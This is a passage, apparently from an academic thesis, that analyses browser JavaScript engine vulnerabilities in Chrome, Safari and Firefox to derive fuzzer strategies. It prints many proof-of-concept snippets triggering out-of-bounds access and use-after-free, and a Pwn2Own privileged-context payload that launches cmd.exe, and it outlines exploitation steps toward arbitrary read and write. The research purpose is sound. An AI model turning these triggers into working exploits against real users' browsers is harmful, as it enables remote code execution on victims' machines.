The bug is triggered by a logic flaw in the map transitions. In v8 objects of the same type
share the same map. A map describes the object like the name, type and order of properties.
In other engines a map is often referenced as the shape or as the hidden class of an object.
Figure 3 illustrates the map transitions generated by the PoC.
When a property is added or modified a new map is created and a transition is created to
link the old to the new map. If the same operation is performed on another object, which has
the old map configured, the transition can be followed to find the new map which is then
reused. Then both objects can share the same map because both use the same properties
in the same order.
Elements are typically stored in a plain array like in a FixedArray. However, if most indexes
are not in-use, the sparse array would consume unnecessarily memory. In such a case the
elements type can change to a dictionary where the index is used as a key. A similar affect
is triggered when the preventExtensions function is called which changes the type to a
dictionary. To differentiate between the two cases the elements-kind variable in the map
must be updated to DICTIONARY_ELEMENTS for dictionaries or to an array-like type such
as HOLEY_ELEMENTS or HOLEY_SEALED_ELEMENTS. The vulnerability occurs
82 https://bugs.chromium.org/p/chromium/issues/detail?id=992914
44
because a logic bug allows to create a map transition which changes elements-kind to
DICTIONARY_ELEMENTS but which does not update the underlying type of the elements
array. This allows to interpret a FixedArray as NumberDictionary which can be exploited to
manipulate the dictionary capacity.
Initially, the NumberDictionary has a capacity for zero elements and therefore space for
elements afterwards is not allocated. Since this data structure is confused with a FixedArray
and the elements of the FixedArray are fully controllable, overwriting them changes the fields
of the NumberDictionary. This allows to modify the capacity of the NumberDictionary. Figure
4 visualizes the attack.
By allocating immediately afterwards a fixed double array, the data can be accessed as
double values or as tagged objects via the dictionary. This can be used to read object
pointers as double values to leak their address and it can be used to fake objects in-memory
by writing a double value. Faked in-memory objects can immediately be turned into arbitrary
read- and write-primitives which leads to full code execution. An alternative solution is to
delete an element from the dictionary in which case the entry gets overwritten with a pointer
to the the_hole object. By using the length of the adjacent fixed double array as index, the
length will be overwritten with the_hole which leads to an out-of-bounds access in the double
array which can be turned to arbitrary read and write.
Figure 4: Exploitation of the type confusion
The bug was found 83 by Groß with the fuzzilli fuzzer and independently by two anonymous
researchers 84 85. The bug was first reported on 2019-08-12. A commit with a temporary fix
83 https://bugs.chromium.org/p/chromium/issues/detail?id=992914
84 https://bugs.chromium.org/p/chromium/issues/detail?id=997997
85 https://bugs.chromium.org/p/chromium/issues/detail?id=993630
45
was pushed upstream on 2019-08-20. Bug reports were initially hidden, however, commit
messages are publicly available and therefore attackers can create an exploit based on
them. The next stable release, Chrome version 77, was shipped on 2019-09-10. This left a
22-day gap for attackers to exploit the vulnerability. Exodus Intelligence developed during
this gap an exploit 86 and published it together with a blogpost 87 for demonstration one day
before the fixed Chrome version 77 was released.
In 2019 4.39 billion active internet users were counted 88. Based on browser usage statistics
collected by W3schools 89 81.2 percent of all internet users were affected by the vulnerability
in August 2019 because Chrome version 77 was not released at that time. This means that
approximately 3.5 billion internet users could potentially be exploited because enough
information was publicly available to develop an exploit. Since users do not immediately
update their browsers, 62.2 percent of users used Chrome prior to version 77 in September
2019 although a patch was already available. This left another 2.7 billion users exposed to
the vulnerability. In October 2019 most users installed the update, but still 10.2 percent used
a vulnerable version and were therefore affected.
A CVE number was never assigned to this vulnerability because it was internally discovered
90.
To assess the feasibility and difficulty of developing an exploit for the vulnerability, the author
of this thesis wrote an exploit just based on the public available commit message and
regression tests. It was possible to write a reliable exploit within two business days and it
can therefore be concluded that a proficient and determined attacker could had started
exploitation within the first days the public commit message was released.
Generalization for variation analysis:
•
Instead of creating random objects and invoking random operations on them, a fuzzer
should sometimes create objects with same internal data types. Operations should
be performed in a similar order to stress the transition tree creation. Additional
operations should be added for just one or a few of these objects like done in line 13.
•
A fuzzer should create last operations like the assignment of zero to the __proto__
property as shown in line 29. This leads to the creation of a new transition like
explained above.
86 https://github.com/exodusintel/Chrome-Issue-992914-Sealed-Frozen-Element-Kind-Type-Confusion-RCE-
Exploit/tree/master/chrome_992914
87 https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome/
88 https://wearesocial.com/blog/2019/01/digital-2019-global-internet-use-accelerates
89 https://www.w3schools.com/browsers/browsers_chrome.asp
90 https://bugs.chromium.org/p/chromium/issues/detail?id=997997
46
4.3 Redefinition vulnerabilities
In redefinition vulnerabilities the functionality of invoked functions is modified to break
assumptions from engine developers 91. For example, a getter can be defined to return a
malicious value. Another example is a callback function which modifies the internal state of
the current object like the length of an array.
The most common methods to trigger callbacks are the following:
•
Overwriting a getter or setter of a property.
•
Passing as argument to a function an object instead of a number or string and
defining the valueOf() or toString() method to trigger a callback when the object value
is evaluated.
•
Using Symbol.species to change the returned default constructor.
•
Using the Proxy object to hook operations such as get, set, has, deleteProperty or
similar.
•
Modifying the prototype or performing the above-mentioned techniques on the
prototype chain of a variable.
•
Redefining global functions or properties.
•
Creating a subclass of a default class and then passing objects of the subclass as
arguments to functions. The subclass can overwrite functions to trigger callbacks.
4.3.1 Redefined function modifies expected behavior
In the simplest case a getter is defined to return not expected values for accessed properties.
Since such vulnerabilities are simple, most of them were already found several years ago.
In more complex cases the functionality of the newly defined function is modified. For
example, a newly defined constructor can allocate less space than assumed.
Examples:
Chromium issue 351787, CVE-2014-1705 (Pwn2Own 2014) – OOB access in
Uint32Array
01: var ab = new ArrayBuffer(8);
02: ab.__defineGetter__("byteLength", function () { return 0xFFFFFFFC; });
03: var aaa = new Uint32Array(ab);
04: aaa[0x1234567] = 1;
// OOB access
When the typed array representation Uint32Array is applied, the byteLength property of ab
is read to set the length of aaa. A getter was defined to return a malicious byteLength value
to achieve OOB memory access.
This vulnerability was exploited during the Pwn2Own 2014 exploitation competition
(Pwnium4). The vulnerability was combined with three other vulnerabilities to achieve
91 https://googleprojectzero.blogspot.com/2015/08/attacking-ecmascript-engines-with.html
47
persistent code execution on Chrome OS and resulted in a 150,000 Dollar 92 payout.
Moreover, the vulnerability was awarded as the best client-side bug in the pwnie award 2014.
The full exploit code is available in the issue tracker 93. A detailed writeup is available in the
Palo Alto Networks blog 94.
Generalization for variation analysis:
•
A fuzzer should define getters for properties and return manipulated values.
Chromium issue 386988, CVE-2014-3176 – Array.prototype.concat redefinition
vulnerability
01: a = [1];
02: b = [];
03: a.__defineGetter__(0, function () {
04: b.length = 0xffffffff;
05: });
06: c = a.concat(b);
In line 6 the Array.prototype.concat function is called. The C++ implementation of this built-
in function first extracts the length fields of the arrays to estimate the size of the result array.
After that, the concat operation is performed which triggers the defined getter. The getter
modifies the length of the b array in line 4 which means that the concat operation will copy
more elements to the result array than initially allocated by the code which leads to OOB
access.
Exploits for the vulnerability are available at 95 and at 96.
Generalization for variation analysis:
•
A fuzzer should define getters which perform state modifications like changing the
length of an array.
•
The fuzzer should create objects in pairs. In the above case the a and b objects are
a pair and line 6 invokes a function with both objects involved. The callback defined
for the first object then modifies the state of the second object as shown in line 4.
92 https://chromereleases.googleblog.com/2014/03/stable-channel-update-for-chrome-os_14.html
93 https://bugs.chromium.org/p/chromium/issues/detail?id=351787
94 https://unit42.paloaltonetworks.com/google-chrome-exploitation-case-study/
95 https://bugs.chromium.org/p/chromium/issues/detail?id=386988
96 https://github.com/4B5F5F4B/Exploits/blob/master/Chrome/CVE-2014-3176/exploit.html
48
Chromium issue 716044 (2017) – OOB write in Array.prototype.map builtin via
redefined constructor
01: class Array1 extends Array {
02: constructor(len) {
03: super(1); // Redefine constructor to allocate 1 byte instead of len bytes
04: }
05: };
06: class MyArray extends Array {
07: static get [Symbol.species]() {
08: return Array1; // Return an array with a redefined constructor
09: }
10: }
11: a = new MyArray();
12: for (var i = 0; i < 10000000; i++) {
13: a.push(1);
// Create an array with a lot of values
14: }
15: a.map(function (x) { return 42; }); // Trigger OOB write
In line 15 the map function is called which invokes the passed function on every element of
the array and returns a new array as result. The type of a is MyArray which is an extended
array class. This allows to overwrite Symbol.species to specify another array-extended type
which is used for new copies of the array. Such a copy is for example created by the map
function. The constructor of this class calls super() with argument one in line 3, which just
allocates space for one entry. The passed len argument, see line 2, is not used at all. This
constructor is called by the internal implementation of the map function and later code in this
function assumes that a buffer of length len was allocated. However, since the constructor
was redefined, only a buffer of length one gets allocated. This leads to OOB write access
because the allocated buffer is too small for the operations performed by the map function.
A full exploit is available in the bug tracker 97 and in a blog post 98 from Chang, the reporter
of the vulnerability.
Generalization for variation analysis:
•
A fuzzer should use Symbol.species to redefine the behavior of constructors.
•
Constructors should call the parent constructor with fuzzed values.
97 https://bugs.chromium.org/p/chromium/issues/detail?id=716044
98 https://halbecaf.com/2017/05/24/exploiting-a-v8-oob-write/
49
4.3.2 Redefined function modifies array length
Built-in JavaScript functions are typically implemented in native C++ code. If such a built-in
function is invoked and expects an array as argument, the function often reads at the
beginning the array length and stores it in a local variable. When the code later iterates
through the array or accesses other passed arguments, a callback can be triggered. Inside
the callback the array length can be modified. When the code returns from the callback, the
original array length is still stored in the local variable and is maybe used in the code like in
a loop break condition. If the code fails to check after callback invocations if the length value
was modified, it can lead to OOB memory access.
In such vulnerabilities the engine developers assumed callbacks cannot be triggered or
cannot change the state of the handled object. The modification of the array length is a
common attack target. However, other objects states can be attacked as well.
Several variations of this vulnerability category can be found in v8 by grepping in the
test/mjsunit/regression folder for the substrings .length = 0 or .length = 1.
Examples:
Chromium issue 554946, CVE-2015-6764 (Mobile Pwn2Own 2015) – OOB access in
JSON.stringify() with toJson() redefinition
01: var array = [];
02: var funky = { // Create an obj with toJSON() which modifies the array length
03: toJSON: function () { array.length = 1; gc(); return "funky"; }
04: };
05: for (var i = 0; i < 10; i++) array[i] = i; // Create an array of length 10
06: array[0] = funky; // Assign the obj with a custom toJSON() func. as first element
07: JSON.stringify(array); // Trigger OOB access
When the JSON.stringify function is called in line 7, the internal C++ implementation of the
function gets invoked. First, the function extracts the current array length to calculate how
many elements must be iterated. However, during an iteration the array length can change
because the code invokes the toJSON callback. This function was redefined for element
zero in line 6 and the function modifies the array length in line 3 to shrink the array. After the
first iteration in JSON.stringify() finishes, the array shrunk and just stores one element.
However, the original array length is still stored in a local variable and is used in the loop
break condition. Further loop iterations are therefore performed which access data OOB.
Exploitation details and the original exploit are available at 99. A slightly adapted exploit is
available at 100.
99 https://github.com/secmob/cansecwest2016
100 https://github.com/4B5F5F4B/Exploits/tree/master/Chrome/CVE-2015-6764
50
Generalization for variation analysis:
•
A fuzzer should create arrays with elements which have callbacks defined. The
callbacks should set the array length to zero or one and garbage collection should
be triggered afterwards.
Chromium issue 594574, CVE-2016-1646 (Pwn2Own 2016) – Redefinition leads to OOB
access via Array.concat
01: array = new Array(10)
02: array[0] = 1.1
// Note that array[1] is a hole
03: array[2] = 2.1
04: array[3] = 3.1
05: var proto = {};
06: array.__proto__ = proto;
07: Object.defineProperty(
08: proto, 1, {
09: get() {
10: array.length = 1; // shorten the array
11: gc();
// and trigger garbage collection to free the memory
12: return "value from proto"; // does not matter
13: },
14: set(new_value) { }
15: });
16: Array.prototype.concat.call(array);
This vulnerability is similar to the previous described one. Line 16 invokes the Array.concat
function which initially extracts the array length, which is 10 at this point. However, during
processing of the concat function a callback can be triggered which modifies the array length.
Element one of array was not defined as shown in lines 2 and 3. The prototype of array is
changed to an object in line 6. This means a getter for element one can be defined which is
invoked as soon as element one of array is accessed. This getter is defined in line 9 and the
getter modifies the array length and invokes garbage collection. This getter is triggered
during processing of the concat function which leads to OOB memory access because the
concat function still assumes the initial extracted array length.
The vulnerability was found by Xu from Tencent KeenLab. An exploit is available at 101.
Generalization for variation analysis:
•
A fuzzer should define callback functions on variables such as objects and assign
these variables to the prototype of other variables. The callbacks should modify the
length of an array or perform other state modifying operations.
101 https://github.com/4B5F5F4B/Exploits/blob/master/Chrome/CVE-2016-1646/exploit.html
51
Safari CVE-2016-4622 - Array.slice OOB access
01: var a = [1, 2, 3, 4, 5];
02: var i = {};
03: i.valueOf = function () {
04: a.length = 1;
05: return 5;
06: }
07: a.slice(0, i);
This vulnerability is similar to the previous discussed ones. The array.slice function initially
extracts the length of the array and stores it in a local variable. At a later point, the second
argument, the end index for the slice operation, is read which leads to the invocation of the
valueOf callback, which is defined in lines 3 to 6. The callback shrinks the array and returns
as end index a bigger value, which leads to OOB memory access within the slice operation.
The vulnerability was found by Groß, a detailed writeup is available at 102. An exploit is
available at 103.
Generalization for variation analysis:
•
A fuzzer should during mutation replace plain numbers or strings in test cases with
objects, which implement callback functions. This especially applies to numbers or
strings passed to built-in functions. The callback function should perform state
modification operations such as changing the length of an array.
Chromium issue 702058, CVE-2017-5053 (Pwn2Own 2017) – Array.prototype.indexOf
bailout bug leading to OOB access
01: arr = [];
02: for (var i = 0; i < 100000; i++) arr[i] = 0;
03: var fromIndex = { valueOf: function () { arr.length = 0; gc(); } };
04: arr.indexOf(1, fromIndex); // Trigger OOB
This vulnerability is a variation of CVE-2016-4622. While CVE-2016-4622 affected Safari
and used the Array.slice function, CVE-2017-5053 affected Chromium and used the
Array.indexOf function. The indexOf function first extracts the length of the array, stores it in
a local variable and then starts to iterate through all elements. Before the loop starts, the
fromIndex argument is read to obtain the index from which the search should start. However,
the fromIndex is an object and not a number. Reading the fromIndex therefore triggers the
valueOf callback which modifies the array length. When the loop starts afterwards, the
incorrect array length is still stored in a local variable leading to a wrong loop break condition.
The loop therefore leads to OOB access.
Detailed exploitation details were presented in 2019 by Zheng et al. [8].
102 http://www.phrack.org/papers/attacking_javascript_engines.html
103 https://github.com/saelo/jscpwn
52
Generalization for variation analysis:
•
Instead of passing a number or a string as argument, an object with a redefined
valueOf or toString function can be passed. These callback functions should
especially modify the length of an array or perform other state modification
operations.
•
A fuzzer should be able to understand simple connections of variables. For example,
in line 4 the indexOf function is called on the arr array. The fromIndex argument leads
to the callback which modifies the length of the same arr array. It makes sense that
this callback modifies the arr array and not a random other array because the
callback has a connection to the arr array. This connection exists because line 4 calls
a function on arr and fromIndex is an argument to this function and the callback is a
function of fromIndex. A fuzzer should store such connections and should prefer the
insertion of state modifications on objects which have a connection to the callback.
Chromium issue 938251 (2019) – Integer overflow in NewFixedDoubleArray
01: array = [];
02: array.length = 0xffffffff; // Negative number
03: b = array.fill(1.1, 0, {
04: valueOf() {
05: // Cause the array to shrink
06: // This will cause FastElementsAccessor::FillImpl to
07: // regrow it to 0xffffffff which is negative
08: array.length = 32;
09: array.fill(1.1);
10: return 0x80000000; // End length is negative
11: }
12: });
The array length is set to a negative number in line 2 and after that, the fill function is called
on the array. The first passed argument is the fill value, the second argument is the start
index and last argument is the end index. Instead of a number an object with a valueOf
function is passed to trigger code execution when the end index gets accessed. This callback
function shrinks the array and when the fill function code continues execution, it regrows the
array. This regrow operation happens because the developers added code to check for array
length modifications. However, during the regrow operation an integer overflow occurs
because of the negative length value defined in line 2. This leads to an allocation of an
undersized buffer and therefore to OOB memory access.
A detailed writeup is available in the issue tracker 104 together with a full exploit 105.
Generalization for variation analysis:
•
This vulnerability demonstrates that redefined callbacks can be combined with
techniques mentioned in chapter 4.2.2 where integer overflows were discussed.
104 https://bugs.chromium.org/p/chromium/issues/detail?id=938251
105 https://bugs.chromium.org/p/project-
zero/issues/attachment?aid=402215&signed_aid=uJieSMQe19F_G21FV0OaCg==
53
Chromium issue 682194, CVE-2017-5030 – OOB read in v8 Array.concat
01: var p = new Proxy([], {});
02: var b_dp = Object.prototype.defineProperty;
03: class MyArray extends Array {
04: static get [Symbol.species]() {
05: return function () { return p; }
06: }; // custom constructor which returns a proxy object
07: }
08: var w = new MyArray(100);
09: w[1] = 0.1;
10: w[2] = 0.1;
11: function gc() {
12: for (var i = 0; i < 0x100000; ++i) {
13: var a = new String();
14: }
15: }
16: function evil_callback() {
17: w.length = 1; // shorten the array so the backstore pointer is relocated
18: gc(); // force gc to move the array's elements backstore
19: return b_dp;
20: }
21: Object.prototype.__defineGetter__("defineProperty", evil_callback);
22: var c = Array.prototype.concat.call(w);
23: for (var i = 0; i < 20; i++) { // number of values to leak
24: console.log(c[i]);
25: }
On line 22 the concat function is called. The concat operation creates a new array to store
the result. The type of this newly created array depends on the type of the passed argument.
Since the argument w has the type MyArray, see line 8, an array of type MyArray would be
created. However, the Symbol.species syntax was used to redefine the returned constructor
and a proxy object is returned instead in line 5.
Because a proxy object for a normal object is returned, the internal code of the concat
function executes the defineProperty function on the object prototype which was redefined
in line 21. The overwritten callback modifies the length of the array on which the concat
operation is currently performed and triggers garbage collection to free the memory. After
the callback, the concat function continues to process the array and still assumes the original
array length and original buffer pointer which leads to an OOB read.
An exploit is available in the bug tracker 106.
Generalization for variation analysis:
•
A fuzzer should use Symbol.species to redefine the used constructor to create copies
of objects. A proxy object can be returned to hook operations.
•
A fuzzer should redefine getters and setters of the object prototype.
•
The name of getters such as defineProperty should be extracted at runtime or should
be available to the fuzzer via grammar definition files.
106 https://bugs.chromium.org/p/chromium/issues/detail?id=682194#c12
54
4.3.3 Redefined function modifies array buffer
Instead of modifying the array length within a callback, the array buffer pointer can be
attacked as well. If the buffer pointer or the array length is stored in a local variable, the
buffer can be neutered during the callback. In such a case the array length becomes zero
and the buffer starts to point to a specific memory location used for neutered buffers. If the
C++ code does not check such a condition, the later C++ code may lead to OOB memory
access. Another possibility is to reallocate the buffer to a different memory location by first
setting the length to a small value and then setting the length back to the original one.
Examples:
Firefox bug 982974, CVE-2014-1513 (Pwn2Own 2014) – TypedArrayObject does not
take into account that ArrayBuffers can be neutered
01: b = new ArrayBuffer(4000);
02: a = new Uint8Array(b);
03: nasty = {
04: valueOf: function () {
05: // *code to neuter array buffer b*
06: return 3000;
07: }
08: };
09: aa = a.subarray(0, nasty);
10: for (i = 0; i < 3000; i++)
11: aa[i] = 17; // Trigger OOB access
The vulnerability occurs in line 9 within the subarray function call. This function is
implemented in C++ and stores at the start the array length in a local variable. Later, a
callback can be triggered by setting the second argument to an object which implements the
valueOf function. In this function the array gets neutered which sets the array length to zero.
The code to neuter the array is not shown in the above PoC. When the callback finishes and
code execution returns to the subarray implementation, the previous array length is still
stored in the local variable. Later code in the function assumes that the array length and
buffer pointer are still correct and accesses therefore memory OOB.
During fuzzing the JavaScript engine can be patched to provide functionality to neuter an
array buffer as it is possible in v8 using the native function %ArrayBufferNeuter(). In the
original exploit, the author used an audio context to neuter the array. This is demonstrated
in the following PoC:
55
01: var audio_context = new AudioContext();
02: var audio_buffer = audio_context.createBuffer(1, 0x40000, 96000));
03: var view_f32 = audio_buffer.getChannelData(0);
04: var array_buffer = view_f32.buffer;
05: var view_u32_tmp = new Uint32Array(array_buffer);
06: nasty = {
07: valueOf: function () {
08: // Neuter the array buffer:
09: var convolver = audio_context.createConvolver();
10: convolver.buffer = audio_buffer;
11: return 0x40000; // Same value as 2nd argument to createBuffer()
12: }
13: };
14: oob_array = view_u32_tmp.subarray(0, nasty);
The full exploit from Pwn2Own 2014 is available in the bug tracker 107.
Generalization for variation analysis:
•
A fuzzer should add code to neuter array buffers of objects with connections to the
callback function.
Chromium issue 867776, CVE-2018-16065 – In BigInt64Array.of() an array buffer can
be neutered during a valueOf() callback
01: var array = new BigInt64Array(11);
02: function evil_callback() {
03: %ArrayBufferNeuter(array.buffer);
04: gc();
05: return 71748523475265n - 16n; // rax: 0x41414141414141
06: }
07: var evil_object = { valueOf: evil_callback }
08: var root = BigInt64Array.of.call(
09: function () { return array },
10: evil_object
11:)
12: gc(); // trigger
ArrayBufferNeuter() is a native function which can be enabled during fuzzing using the --
allow-natives-syntax flag. The function provides functionality to free the backing store buffer
associated with an array.
In line 8 a new BigInt64Array is created by using the BigInt64Array.of function. It creates a
new array from the passed arguments. The first passed argument returns the array variable
and the C++ function implementation of the BigInt64Array.of function stores the array buffer
in a local variable. When the second passed argument gets evaluated, the valueOf callback
triggers which neuters in line 3 the backing store buffer of array. The local variable therefore
becomes a dangling pointer. Allocations after garbage collection from line 4 are allocated
over the previous array buffer memory. In line 5 an allocation is performed with a BigInt value
resulting in 0x4141414141414141 (internal representation of the BigInt value) being stored
at the start of the array buffer.
107 https://bugzilla.mozilla.org/show_bug.cgi?id=982974
56
Generalization for variation analysis:
•
After neutering an array, code to trigger garbage collection should be added.
Moreover, a BigInt allocation, as shown in line 5, can be performed afterwards to
control the memory during a possible use-after-free vulnerability in neutered arrays.
Chromium issue 852592 (2018) – OOB read and write in Array.prototype.sort
01: array = [];
02: ARRAY_LEN = 100;
03: for (let i = 1; i < ARRAY_LEN; ++i) {
04: array[i] = i + 0.1;
05: }
06: compareFn = _ => {
07: array.length = 1; // shrink elements array
08: array.length = 0; // replace elements array with empty array
09: // restore the original length, causing a new elements array
10: array.length = ARRAY_LEN;
11: }
12: array.sort(compareFn);
In line 12 the sort function is called with a callback function passed as argument. The callback
function first sets in line 7 the array length to one which shrinks the elements array. Next,
line 8 sets the length to zero which updates the array buffer to point to an empty array.
Finally, the original array length is restored in line 10. The array length is therefore
unmodified after the execution of the callback, but the array buffer now points to a different
memory location. Since the C++ implementation of the sort function stored the array buffer
pointer in a local variable, this leads to a use-after-free vulnerability. Restoring the original
length is important to bypass code which just checks for array modifications based on the
length field.
An exploit is available in the bug tracker 108.
Generalization for variation analysis:
•
A fuzzer should add code in callbacks which sets the array length to one, then to zero
and then back to the original length. These operations should be added more
frequently for arrays with a connection to the callback function. In the above PoC the
array variable has a connection because the compareFn function is passed to the
sort function which is called on the array variable. The compareFn function and the
array variable therefore have a connection.
108 https://bugs.chromium.org/p/chromium/issues/detail?id=852592
57
4.4 Privileged JavaScript execution
Depending on the browser, some internal websites are marked as privileged which can run
JavaScript code in a privileged context. This allows the code to access critical functionality
such as native functions or access file system APIs which can be turned into arbitrary code
execution. Vulnerabilities in this chapter are thus browser specific.
The privileged JavaScript context is also commonly used during exploitation. For example,
in Firefox a vulnerability can be used to set a flag to enable the privileged context. Afterwards,
the privileged context can be used to achieve full code execution. This exploitation technique
is called god mode and to apply it, a vulnerability must just be turned into an arbitrary write
to achieve full code execution. This technique was first publicly used 109 during Pwn2Own
2014 to exploit CVE-2014-1513. Another exploit demonstrating this attack technique is
available 110 for CVE-2019-9810.
4.4.1 Stack walking vulnerabilities
Most JavaScript built-in functions are implemented in C++. However, some built-in functions
are directly implemented in JavaScript. In v8 a third option is Torque, a language designed
to translate the ECMAScript specification into optimizable code.
To implement the functions in JavaScript, the code sometimes requires accessing native
C++ functions. In JSC, the JavaScript engine of Apple Safari, these native functions can be
called by prefixing the function with an @ symbol such as @concatMemcpy. These functions
are not available from a normal JavaScript context, otherwise a call to memcpy() could easily
be turned to a memory corruption vulnerability. If a built-in function, that is implemented in
JavaScript and that uses such native functions, can be tricked into invoking a callback, a
reference to the native function can be obtained. Callbacks can be invoked by passing a
callback function as argument or by using one of the redefinition techniques explained in
chapter 4.3.
To obtain a reference to the native function inside the callback, the caller variable can be
used. This variable stores a reference to the calling function. This is the case if the calling
function does not use the JavaScript strict mode 111. To protect against stack walking
vulnerabilities the strict mode must therefore be enabled at the beginning of built-in functions
which can trigger a callback.
109 https://bugzilla.mozilla.org/show_bug.cgi?id=982974
110 https://github.com/0vercl0k/CVE-2019-11708
111 https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode
58
Examples:
Safari CVE-2017-2446 – Stack walking vulnerability
01: var reference_concatMemcpy;
02: function my_callback() {
03: reference_concatMemcpy = my_callback.caller;
04: return 7; // Does not matter
05: }
06: var a = [1, 2, 3];
07: a.length = 4; // Force slow path
08: Object.defineProperty(Array.prototype, "3", { get: my_callback });
09: [4, 5, 6].concat(a);
10: reference_concatMemcpy(0x77777777, 0x77777777, 0);
Line 9 invokes the concat function. A getter is defined in line 8 which gets later called during
the execution of the concat function. The bug allowed to obtain a reference to the calling
function as shown in line 3. The concat function internally called the @concatMemcpy
function, which triggered the callback. The caller variable therefore holds a reference to
@concatMemcpy which allows to write to arbitrary memory.
The vulnerability report is available in the Google Project Zero bug tracker 112. A detailed
writeup of the vulnerability together with an exploit is available at 113. To fix the vulnerability
114 the caller variable was restricted from accessing native functions.
Generalization for variation analysis:
•
Although the fix restricts the caller variable from accessing native functions, a fuzzer
should attempt to add such code. Since this was only fixed in JSC, a similar
vulnerability could occur in other browsers or in special circumstances. The fuzzer
should add code which immediately triggers an injected crash as soon as the
JavaScript code detects that a variable holds a reference to a native function.
4.4.2 JavaScript code injection into privileged code
If code can be executed on behalf of a privileged website, the code starts to run in the
privileged context and can use the additional functionality to exploit the browser. This can
be achieved by injecting code into the website if a handle to the site can be obtained and the
Content-Security-Policy (CSP) can be bypassed or via a Cross-Site-Scripting (XSS)
vulnerability on the website. In the first case, the browser can be exploited by setting its
location to a data URI containing JavaScript code or by injecting JavaScript code via an
innerHTML() call. Mozilla Firefox implements a sanitizer 115 to protect privileged pages
against these attacks. The second option will not be discussed because XSS vulnerabilities
are out-of-scope of this work. However, they can lead to full code execution as demonstrated
112 https://bugs.chromium.org/p/project-zero/issues/detail?id=1032
113 https://doar-e.github.io/blog/2018/07/14/cve-2017-2446-or-jscjsglobalobjectishavingabadtime/
114 https://github.com/WebKit/webkit/commit/f7303f96833aa65a9eec5643dba39cede8d01144
115 https://blog.mozilla.org/security/2019/12/02/help-test-firefoxs-built-in-html-sanitizer-to-protect-against-uxss-
bugs/
59
in 116. Another option is to register callback functions which may get triggered from a
privileged JavaScript context without disabling privileges.
Examples:
Firefox bug 982906, CVE-2014-1510 (Pwn2Own 2014) – WebIDL privileged JavaScript
injection
01: var c = new mozRTCPeerConnection;
02: c.createOffer(function () { }, function () {
03: window.open('chrome://browser/content/browser.xul', 'my_iframe_id}');
04: step1();
05: });
06: function step1() {
07: var clear = setInterval(function () {
08: frames[0].frames[2].location; // throws an error when chrome iframe is not loaded yet
09: frames[0].frames[2].location = window.atob('
10: BASE64_ENCODE("data:text/html,<script>c = new mozRTCPeerConnection;c.createOffer(function()" +
11: "{},function(){top.vvv=window.open('chrome://browser/content/browser.xul', " +
12: "'abcd', 'chrome,top=-9999px,left=-9999px,height=100px,width=100px');})<\/script>")');
13: clearInterval(clear);
14: setTimeout(step2, 100);
15: }, 10);
16: }
17: function step2() {
18: var clear = setInterval(function () {
19: top.vvv.location = 'data:text/html,<html><body><iframe mozBrowser ' +
20: 'src="about:blank"></iframe></body></html>';
21: clearInterval(clear);
22: setTimeout(step3, 100);
23: }, 10);
24: }
25: function step3() {
26: var clear = setInterval(function () {
27: if (!frames[0]) return; // will throw until the frame is accessible
28: top.vvv.messageManager.loadFrameScript('data:,' + execute_shellcode_function, false);
29: clearInterval(clear);
30: setTimeout(function () { top.vvv.close(); }, 100);
31: }, 10);
32: }
“How easily could an exploit be constructed based on the patch? Not easily, but this is pwn2own” 117
The chrome://browser/content/browser.xul page is a special privileged page in Mozilla
Firefox. Note that the chrome handler is not related to the Chrome browser. Also note that
in the current Mozilla Firefox version the browser.xul page was renamed to browser.xhtml
118.
The PoC opens the page in a new window and obtains a reference to it to inject JavaScript
code. This is typically not possible because JavaScript code cannot obtain a reference to a
privileged page. However, the above code passes a callback function to the createOffer()
function in line 2. This function is from mozRTCPeerConnection which is implemented in
WebIDL. Inside WebIDL the flag aFreeSecurityPass is set to true which means references
to privileged pages such as browser.xul can be obtained. The root cause of this vulnerability
was that this flag was not set to false before the callback function was invoked.
The reference is accessed in the step1() function via frames[0].frames[2]. The code is
executed in an interval until the page finished loading. When this happens, the location can
116 https://leucosite.com/Edge-Chromium-EoP-RCE/
117 https://bugzilla.mozilla.org/show_bug.cgi?id=982909
118 https://bugzilla.mozilla.org/show_bug.cgi?id=1553188
60
be accessed and does not throw an exception. After that, the location is set to a data URI in
line 9 which contains the JavaScript code which should be executed in the context of the
privileged browser.xul page. In this privileged page the Components global variable is
available which means the following code can be used to execute arbitrary system
commands:
01: C = Components;
02: c = C.classes;
03: i = C.interfaces;
04: f = c['@mozilla.org/file/local;1'].createInstance(i.nsILocalFile);
05: p = c['@mozilla.org/process/util;1'].createInstance(i.nsIProcess);
06: f.initWithPath('C:\\Windows\\System32\\cmd.exe');
07: p.init(f);
08: p.run(0, ['/k calc.exe'], 1);
The above code was taken from the original Pwn2Own 2014 exploit, which is available in
the second bug tracker 119. The first PoC, which is from a Metasploit exploit 120, is more
complex because it uses generic exploitation functions from the Metasploit framework. The
execute_shellcode_function from line 28 calls the run_payload 121 function from Metasploit.
This function uses the Components global to import the ctypes.jsm file which can be used
to interact with the WindowsAPI to call functions such as VirtualAlloc to execute shellcode.
To import the file, the code must be executed on the about:blank page. The step2() and
step3() functions implement the code injection into the about:blank page.
It is important to mention that it is not directly possible to interact with the opened privileged
page because of the Same-Origin-Policy (SOP). The code in the step1() function therefore
exploits the vulnerability again and sets the third argument to a string starting with chrome
to specify that it is a chrome page. Then, messageManager can be used to interact with the
page although SOP is enforced. It is important to pass the mozBrowser attribute in the
loaded iframe so that an access via messageManager is possible.
Generalization for variation analysis:
•
A fuzzer should try to open privileged pages within callback functions and check if a
reference can be obtained. In such a case an injected crash should be triggered to
log the vulnerability.
•
A fuzzer should try to find other callback locations with a free security pass.
119 https://bugzilla.mozilla.org/show_bug.cgi?id=982909
120 https://www.exploit-db.com/exploits/34448
121 https://github.com/rapid7/metasploit-
framework/blob/65521270ea2021b23d3e5509d0339be20f587c90/lib/msf/core/exploit/remote/firefox_privilege_
escalation.rb
61
Firefox bug 1120261 and bug 987794, CVE-2014-8636 – Proxy prototype privilege
JavaScript injection via XPConnect
01: var props = {};
02: props['has'] = function(){
03:
var chromeWin = open("chrome://browser/content/browser.xul", "x")();
04: };
05: document.__proto__ = Proxy.create(props);
Proxy objects are the source of many browser vulnerabilities. They allow to hijack getters
and setters to return arbitrary other values or change states to break assumptions from
developers. In this case the has function is proxied in the document prototype. When
privileged code invokes this function, the privileges are not dropped and the code from line
3 therefore executes with higher privileges which allow to obtain a reference to the
browser.xul page.
The vulnerability can similarly be exploited as CVE-2014-1510. The full exploit 122 is available
in Metasploit, a writeup is available at 123.
Generalization for variation analysis:
•
This vulnerability can be identified using the same techniques as mentioned with
CVE-2014-1510.
122https://github.com/rapid7/metasploit-
